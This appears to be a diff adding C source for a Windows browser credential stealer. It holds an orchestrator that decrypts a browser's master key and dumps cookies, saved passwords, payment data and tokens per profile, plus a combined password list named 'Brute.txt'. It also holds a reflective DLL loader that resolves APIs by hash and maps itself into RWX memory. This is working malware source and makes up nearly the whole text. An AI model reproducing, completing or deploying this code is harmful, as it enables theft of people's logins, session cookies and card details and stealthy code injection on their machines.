if (dest_file == INVALID_HANDLE_VALUE) {
|
||||
free(buffer);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD bytes_written = 0;
|
||||
BOOL write_result = WriteFile(dest_file, buffer, bytes_read, &bytes_written, NULL);
|
||||
|
||||
CloseHandle(dest_file);
|
||||
free(buffer);
|
||||
|
||||
if (!write_result || bytes_written != bytes_read) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
+292
@@ -0,0 +1,292 @@
|
||||
#include "orchestrator.h"
|
||||
#include "browser.h"
|
||||
#include "crypto.h"
|
||||
#include "profile.h"
|
||||
#include "extractor.h"
|
||||
#include "buffer.h"
|
||||
#include <Windows.h>
|
||||
#include <ShlObj.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name) {
|
||||
if (!config || !pipe_name) return false;
|
||||
|
||||
wcsncpy_s(config->pipe_name, 256, pipe_name, _TRUNCATE);
|
||||
config->extract_fingerprint = false;
|
||||
config->output_path[0] = L'\0';
|
||||
|
||||
config->pipe_handle = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE,
|
||||
0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (config->pipe_handle == INVALID_HANDLE_VALUE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
char buffer[MAX_PATH + 1];
|
||||
DWORD bytes_read;
|
||||
|
||||
// skip first parameter then read fingerprint flag
|
||||
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
||||
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
||||
buffer[bytes_read] = '\0';
|
||||
config->extract_fingerprint = (strcmp(buffer, "FINGERPRINT_TRUE") == 0);
|
||||
|
||||
ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
|
||||
buffer[bytes_read] = '\0';
|
||||
MultiByteToWideChar(CP_UTF8, 0, buffer, -1, config->output_path, MAX_PATH_LEN);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void orchestrator_cleanup(OrchestratorConfig* config) {
|
||||
if (!config) return;
|
||||
|
||||
if (config->pipe_handle != INVALID_HANDLE_VALUE) {
|
||||
const char* completion = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||
DWORD written;
|
||||
WriteFile(config->pipe_handle, completion, (DWORD)strlen(completion), &written, NULL);
|
||||
FlushFileBuffers(config->pipe_handle);
|
||||
CloseHandle(config->pipe_handle);
|
||||
config->pipe_handle = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
|
||||
static void extract_password_from_json(const char* json, StringArray* passwords) {
|
||||
const char* pwd_tag = "\"password\":\"";
|
||||
char* pos = strstr(json, pwd_tag);
|
||||
if (!pos) return;
|
||||
|
||||
pos += strlen(pwd_tag);
|
||||
char* end = strchr(pos, '"');
|
||||
if (!end) return;
|
||||
|
||||
size_t pwd_len = end - pos;
|
||||
char* pwd = malloc(pwd_len + 1);
|
||||
if (!pwd) return;
|
||||
|
||||
memcpy(pwd, pos, pwd_len);
|
||||
pwd[pwd_len] = '\0';
|
||||
|
||||
if (!string_array_contains(passwords, pwd)) {
|
||||
string_array_add(passwords, pwd);
|
||||
}
|
||||
free(pwd);
|
||||
}
|
||||
|
||||
static void extract_domain_from_netscape(const char* netscape_line, StringArray* domains) {
|
||||
char* domain_end = strchr(netscape_line, '\t');
|
||||
if (!domain_end) return;
|
||||
|
||||
size_t domain_len = domain_end - netscape_line;
|
||||
char* domain = malloc(domain_len + 1);
|
||||
if (!domain) return;
|
||||
|
||||
memcpy(domain, netscape_line, domain_len);
|
||||
domain[domain_len] = '\0';
|
||||
|
||||
char* clean_domain = domain;
|
||||
if (clean_domain[0] == '.') clean_domain++;
|
||||
|
||||
if (!string_array_contains(domains, clean_domain)) {
|
||||
string_array_add(domains, clean_domain);
|
||||
}
|
||||
free(domain);
|
||||
}
|
||||
|
||||
static void write_brute_file(const wchar_t* output_path, StringArray* all_passwords) {
|
||||
if (!output_path || !all_passwords) return;
|
||||
|
||||
wchar_t file_path[MAX_PATH_LEN];
|
||||
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Brute.txt", output_path);
|
||||
|
||||
StringArray* unique = string_array_create(all_passwords->count);
|
||||
if (!unique) return;
|
||||
|
||||
FILE* f = NULL;
|
||||
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
|
||||
char line[1024];
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
size_t len = strlen(line);
|
||||
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
|
||||
if (len > 0) string_array_add(unique, line);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < all_passwords->count; i++) {
|
||||
if (!string_array_contains(unique, all_passwords->items[i])) {
|
||||
string_array_add(unique, all_passwords->items[i]);
|
||||
}
|
||||
}
|
||||
|
||||
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
|
||||
for (size_t i = 0; i < unique->count; i++) {
|
||||
fprintf(f, "%s\n", unique->items[i]);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
string_array_destroy(unique);
|
||||
}
|
||||
|
||||
static void write_domains_file(const wchar_t* output_path, StringArray* all_domains) {
|
||||
if (!output_path || !all_domains) return;
|
||||
|
||||
wchar_t file_path[MAX_PATH_LEN];
|
||||
swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Domains.txt", output_path);
|
||||
|
||||
StringArray* unique = string_array_create(all_domains->count);
|
||||
if (!unique) return;
|
||||
|
||||
FILE* f = NULL;
|
||||
if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
|
||||
char line[1024];
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
size_t len = strlen(line);
|
||||
if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
|
||||
if (len > 0) string_array_add(unique, line);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < all_domains->count; i++) {
|
||||
if (!string_array_contains(unique, all_domains->items[i])) {
|
||||
string_array_add(unique, all_domains->items[i]);
|
||||
}
|
||||
}
|
||||
|
||||
if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
|
||||
for (size_t i = 0; i < unique->count; i++) {
|
||||
fprintf(f, "%s\n", unique->items[i]);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
string_array_destroy(unique);
|
||||
}
|
||||
|
||||
bool orchestrator_run(OrchestratorConfig* config) {
|
||||
if (!config) {
|
||||
return false;
|
||||
}
|
||||
|
||||
BrowserConfig browser_config;
|
||||
if (!browser_get_config_for_process(&browser_config)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t user_data_path[MAX_PATH_LEN];
|
||||
if (!browser_get_user_data_path(&browser_config, user_data_path, MAX_PATH_LEN)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t local_state_path[MAX_PATH_LEN];
|
||||
swprintf_s(local_state_path, MAX_PATH_LEN, L"%s\\Local State", user_data_path);
|
||||
|
||||
ByteBuffer* encrypted_key = get_encrypted_master_key(local_state_path);
|
||||
if (!encrypted_key) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ByteBuffer* aes_key = decrypt_master_key_via_com(
|
||||
&browser_config,
|
||||
encrypted_key->data,
|
||||
encrypted_key->size
|
||||
);
|
||||
buffer_destroy(encrypted_key);
|
||||
|
||||
if (!aes_key) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ProfileList* profiles = profile_find_all(user_data_path);
|
||||
if (!profiles) {
|
||||
buffer_destroy(aes_key);
|
||||
return false;
|
||||
}
|
||||
|
||||
StringArray* all_passwords = string_array_create(100);
|
||||
StringArray* all_domains = string_array_create(500);
|
||||
|
||||
for (size_t i = 0; i < profiles->count; i++) {
|
||||
ExtractionContext ctx = {
|
||||
.profile_path = profiles->paths[i].path,
|
||||
.output_base = config->output_path,
|
||||
.browser_name = browser_config.name,
|
||||
.aes_key = aes_key->data,
|
||||
.key_len = aes_key->size
|
||||
};
|
||||
|
||||
wchar_t profile_name[256];
|
||||
wchar_t* last_slash = wcsrchr(profiles->paths[i].path, L'\\');
|
||||
wcscpy_s(profile_name, 256, last_slash ? last_slash + 1 : L"Default");
|
||||
|
||||
wchar_t profile_output_dir[MAX_PATH_LEN];
|
||||
swprintf_s(
|
||||
profile_output_dir,
|
||||
MAX_PATH_LEN,
|
||||
L"%s\\%S\\%s",
|
||||
config->output_path,
|
||||
browser_config.name,
|
||||
profile_name
|
||||
);
|
||||
|
||||
SHCreateDirectoryExW(NULL, profile_output_dir, NULL);
|
||||
|
||||
StringArray* cookies = extract_cookies(&ctx);
|
||||
if (cookies) {
|
||||
if (cookies->count > 0) {
|
||||
wchar_t out_path[MAX_PATH_LEN];
|
||||
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\cookies.txt", profile_output_dir);
|
||||
|
||||
if (write_netscape_cookies(out_path, cookies)) {
|
||||
for (size_t j = 0; j < cookies->count; j++) {
|
||||
extract_domain_from_netscape(cookies->items[j], all_domains);
|
||||
}
|
||||
}
|
||||
}
|
||||
string_array_destroy(cookies);
|
||||
}
|
||||
|
||||
StringArray* passwords = extract_passwords(&ctx);
|
||||
if (passwords && passwords->count > 0) {
|
||||
wchar_t out_path[MAX_PATH_LEN];
|
||||
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\passwords.json", profile_output_dir);
|
||||
write_json_array(out_path, passwords);
|
||||
|
||||
for (size_t j = 0; j < passwords->count; j++) {
|
||||
extract_password_from_json(passwords->items[j], all_passwords);
|
||||
}
|
||||
|
||||
string_array_destroy(passwords);
|
||||
}
|
||||
|
||||
StringArray* payments = extract_payments(&ctx);
|
||||
if (payments && payments->count > 0) {
|
||||
wchar_t out_path[MAX_PATH_LEN];
|
||||
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\payments.json", profile_output_dir);
|
||||
write_json_array(out_path, payments);
|
||||
string_array_destroy(payments);
|
||||
}
|
||||
|
||||
StringArray* tokens = extract_tokens(&ctx);
|
||||
if (tokens && tokens->count > 0) {
|
||||
wchar_t out_path[MAX_PATH_LEN];
|
||||
swprintf_s(out_path, MAX_PATH_LEN, L"%s\\tokens.json", profile_output_dir);
|
||||
write_json_array(out_path, tokens);
|
||||
string_array_destroy(tokens);
|
||||
}
|
||||
}
|
||||
|
||||
write_brute_file(config->output_path, all_passwords);
|
||||
write_domains_file(config->output_path, all_domains);
|
||||
|
||||
string_array_destroy(all_passwords);
|
||||
string_array_destroy(all_domains);
|
||||
profile_list_destroy(profiles);
|
||||
buffer_destroy(aes_key);
|
||||
|
||||
cleanup_temp_files();
|
||||
return true;
|
||||
}
|
||||
Executable
+54
@@ -0,0 +1,54 @@
|
||||
#include "profile.h"
|
||||
#include "buffer.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static bool profile_has_database(const wchar_t* profile_path, const wchar_t* db_relative_path) {
|
||||
wchar_t full_path[MAX_PATH_LEN];
|
||||
swprintf_s(full_path, MAX_PATH_LEN, L"%s\\%s", profile_path, db_relative_path);
|
||||
|
||||
DWORD attrs = GetFileAttributesW(full_path);
|
||||
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
static bool is_profile_directory(const wchar_t* path) {
|
||||
const wchar_t* check_paths[] = { L"Network\\Cookies", L"Login Data", L"Web Data" };
|
||||
for (int i = 0; i < 3; i++) {
|
||||
if (profile_has_database(path, check_paths[i])) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
ProfileList* profile_find_all(const wchar_t* user_data_root) {
|
||||
ProfileList* list = profile_list_create(10);
|
||||
if (!list) return NULL;
|
||||
|
||||
if (is_profile_directory(user_data_root)) {
|
||||
profile_list_add(list, user_data_root);
|
||||
}
|
||||
|
||||
wchar_t search_path[MAX_PATH_LEN];
|
||||
swprintf_s(search_path, MAX_PATH_LEN, L"%s\\*", user_data_root);
|
||||
|
||||
WIN32_FIND_DATAW find_data;
|
||||
HANDLE hFind = FindFirstFileW(search_path, &find_data);
|
||||
|
||||
if (hFind != INVALID_HANDLE_VALUE) {
|
||||
do {
|
||||
if (wcscmp(find_data.cFileName, L".") == 0 || wcscmp(find_data.cFileName, L"..") == 0)
|
||||
continue;
|
||||
|
||||
if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
wchar_t current_path[MAX_PATH_LEN];
|
||||
swprintf_s(current_path, MAX_PATH_LEN, L"%s\\%s", user_data_root, find_data.cFileName);
|
||||
|
||||
if (is_profile_directory(current_path)) {
|
||||
profile_list_add(list, current_path);
|
||||
}
|
||||
}
|
||||
} while (FindNextFileW(hFind, &find_data));
|
||||
FindClose(hFind);
|
||||
}
|
||||
|
||||
return list;
|
||||
}
|
||||
+265
@@ -0,0 +1,265 @@
|
||||
#include <windows.h>
|
||||
#include "reflective_loader.h"
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#pragma intrinsic(_rotr)
|
||||
#define NOINLINE __declspec(noinline)
|
||||
#else
|
||||
#define NOINLINE __attribute__((noinline))
|
||||
#endif
|
||||
|
||||
static DWORD ror_dword_loader(DWORD d)
|
||||
{
|
||||
#ifdef _MSC_VER
|
||||
return _rotr(d, HASH_KEY);
|
||||
#else
|
||||
return (d >> HASH_KEY) | (d << (32 - HASH_KEY));
|
||||
#endif
|
||||
}
|
||||
|
||||
static DWORD hash_string_loader(char *c)
|
||||
{
|
||||
DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror_dword_loader(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
return h;
|
||||
}
|
||||
|
||||
NOINLINE ULONG_PTR GetIp(VOID)
|
||||
{
|
||||
#ifdef _MSC_VER
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
#else
|
||||
return (ULONG_PTR)__builtin_return_address(0);
|
||||
#endif
|
||||
}
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter)
|
||||
{
|
||||
LOADLIBRARYA_FN fnLoadLibraryA = NULL;
|
||||
GETPROCADDRESS_FN fnGetProcAddress = NULL;
|
||||
VIRTUALALLOC_FN fnVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL;
|
||||
|
||||
ULONG_PTR uiDllBase;
|
||||
ULONG_PTR uiPeb;
|
||||
ULONG_PTR uiKernel32Base = 0;
|
||||
ULONG_PTR uiNtdllBase = 0;
|
||||
|
||||
PIMAGE_NT_HEADERS pNtHeaders_current;
|
||||
PIMAGE_DOS_HEADER pDosHeader_current;
|
||||
|
||||
uiDllBase = GetIp();
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase;
|
||||
if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew);
|
||||
if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
uiDllBase--;
|
||||
}
|
||||
|
||||
#if defined(_M_X64)
|
||||
uiPeb = __readgsqword(0x60);
|
||||
#elif defined(_M_ARM64)
|
||||
uiPeb = __readx18qword(0x60);
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr;
|
||||
PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList);
|
||||
PLIST_ENTRY pCurrentEntry = pModuleList->Flink;
|
||||
|
||||
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
|
||||
{
|
||||
PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks);
|
||||
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL)
|
||||
{
|
||||
DWORD dwModuleHash = 0;
|
||||
USHORT usCounter = pEntry->BaseDllName.Length;
|
||||
BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer;
|
||||
|
||||
do
|
||||
{
|
||||
dwModuleHash = ror_dword_loader(dwModuleHash);
|
||||
if (*pNameByte >= 'a' && *pNameByte <= 'z')
|
||||
{
|
||||
dwModuleHash += (*pNameByte - 0x20);
|
||||
}
|
||||
else
|
||||
{
|
||||
dwModuleHash += *pNameByte;
|
||||
}
|
||||
pNameByte++;
|
||||
} while (--usCounter);
|
||||
|
||||
if (dwModuleHash == KERNEL32DLL_HASH)
|
||||
{
|
||||
uiKernel32Base = (ULONG_PTR)pEntry->DllBase;
|
||||
}
|
||||
else if (dwModuleHash == NTDLLDLL_HASH)
|
||||
{
|
||||
uiNtdllBase = (ULONG_PTR)pEntry->DllBase;
|
||||
}
|
||||
}
|
||||
pCurrentEntry = pCurrentEntry->Flink;
|
||||
}
|
||||
|
||||
if (!uiKernel32Base || !uiNtdllBase)
|
||||
return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base;
|
||||
PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew);
|
||||
ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32;
|
||||
|
||||
ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
|
||||
ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
|
||||
ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
|
||||
|
||||
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
|
||||
{
|
||||
char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]);
|
||||
DWORD dwHashVal = hash_string_loader(sName);
|
||||
if (dwHashVal == LOADLIBRARYA_HASH)
|
||||
fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
else if (dwHashVal == GETPROCADDRESS_HASH)
|
||||
fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
else if (dwHashVal == VIRTUALALLOC_HASH)
|
||||
fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]);
|
||||
|
||||
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
|
||||
break;
|
||||
}
|
||||
|
||||
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
|
||||
return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase;
|
||||
PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew);
|
||||
ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll;
|
||||
|
||||
ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
|
||||
ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
|
||||
ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
|
||||
|
||||
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
|
||||
{
|
||||
char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]);
|
||||
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!fnNtFlushInstructionCache)
|
||||
return 0;
|
||||
|
||||
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
|
||||
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (!uiNewImageBase)
|
||||
return 0;
|
||||
|
||||
PBYTE pSourceBytes = (PBYTE)uiDllBase;
|
||||
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
|
||||
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
while (dwBytesToCopy--)
|
||||
{
|
||||
*pDestinationBytes++ = *pSourceBytes++;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
|
||||
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
|
||||
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
|
||||
|
||||
while (dwBytesToCopy--)
|
||||
{
|
||||
*pDestinationBytes++ = *pSourceBytes++;
|
||||
}
|
||||
}
|
||||
|
||||
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
|
||||
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
if (pRelocationData->Size > 0 && uiDelta != 0)
|
||||
{
|
||||
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
|
||||
while (pRelocBlock->VirtualAddress)
|
||||
{
|
||||
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD k = 0; k < dwEntryCount; k++)
|
||||
{
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
|
||||
}
|
||||
#else
|
||||
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (pImportData->Size > 0)
|
||||
{
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
|
||||
while (pImportDesc->Name)
|
||||
{
|
||||
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
|
||||
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
|
||||
if (hModule)
|
||||
{
|
||||
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
|
||||
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
|
||||
if (!pOriginalFirstThunk)
|
||||
pOriginalFirstThunk = pFirstThunk;
|
||||
|
||||
while (pOriginalFirstThunk->u1.AddressOfData)
|
||||
{
|
||||
FARPROC pfnImportedFunc;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
|
||||
{
|
||||
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
|
||||
}
|
||||
else
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
|
||||
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
|
||||
}
|
||||
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
|
||||
pOriginalFirstThunk++;
|
||||
pFirstThunk++;
|
||||
}
|
||||
}
|
||||
pImportDesc++;
|
||||
}
|
||||
}
|
||||
|
||||
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
||||
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
|
||||
|
||||
return uiNewImageBase;
|
||||
}
|
||||
Executable
+122
@@ -0,0 +1,122 @@
|
||||
#include "utils.h"
|
||||
#include "buffer.h"
|
||||
#include <Windows.h>
|
||||
#include <ShlObj.h>
|
||||
#include <Wincrypt.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
|
||||
bool get_local_appdata_path(wchar_t* path, size_t len) {
|
||||
PWSTR folder_path = NULL;
|
||||
HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &folder_path);
|
||||
|
||||
if (SUCCEEDED(hr)) {
|
||||
wcsncpy_s(path, len, folder_path, _TRUNCATE);
|
||||
CoTaskMemFree(folder_path);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
ByteBuffer* base64_decode(const char* input) {
|
||||
if (!input) return NULL;
|
||||
|
||||
DWORD size = 0;
|
||||
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &size, NULL, NULL)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ByteBuffer* buf = buffer_create(size);
|
||||
if (!buf) return NULL;
|
||||
|
||||
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, buf->data, &size, NULL, NULL)) {
|
||||
buffer_destroy(buf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
buf->size = size;
|
||||
return buf;
|
||||
}
|
||||
|
||||
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len) {
|
||||
if (!bytes || !out || out_len < len * 2 + 1) return;
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
sprintf_s(out + i * 2, out_len - i * 2, "%02x", bytes[i]);
|
||||
}
|
||||
}
|
||||
|
||||
char* escape_json_string(const char* str) {
|
||||
if (!str) return NULL;
|
||||
|
||||
size_t len = strlen(str);
|
||||
size_t escaped_len = len * 6 + 1;
|
||||
char* escaped = malloc(escaped_len);
|
||||
if (!escaped) return NULL;
|
||||
|
||||
size_t j = 0;
|
||||
for (size_t i = 0; i < len && j < escaped_len - 6; i++) {
|
||||
switch (str[i]) {
|
||||
case '"': escaped[j++] = '\\'; escaped[j++] = '"'; break;
|
||||
case '\\': escaped[j++] = '\\'; escaped[j++] = '\\'; break;
|
||||
case '\b': escaped[j++] = '\\'; escaped[j++] = 'b'; break;
|
||||
case '\f': escaped[j++] = '\\'; escaped[j++] = 'f'; break;
|
||||
case '\n': escaped[j++] = '\\'; escaped[j++] = 'n'; break;
|
||||
case '\r': escaped[j++] = '\\'; escaped[j++] = 'r'; break;
|
||||
case '\t': escaped[j++] = '\\'; escaped[j++] = 't'; break;
|
||||
default:
|
||||
if (str[i] >= 0 && str[i] <= 0x1f) {
|
||||
j += sprintf_s(escaped + j, escaped_len - j, "\\u%04x", (int)str[i]);
|
||||
}
|
||||
else {
|
||||
escaped[j++] = str[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
escaped[j] = '\0';
|
||||
return escaped;
|
||||
}
|
||||
|
||||
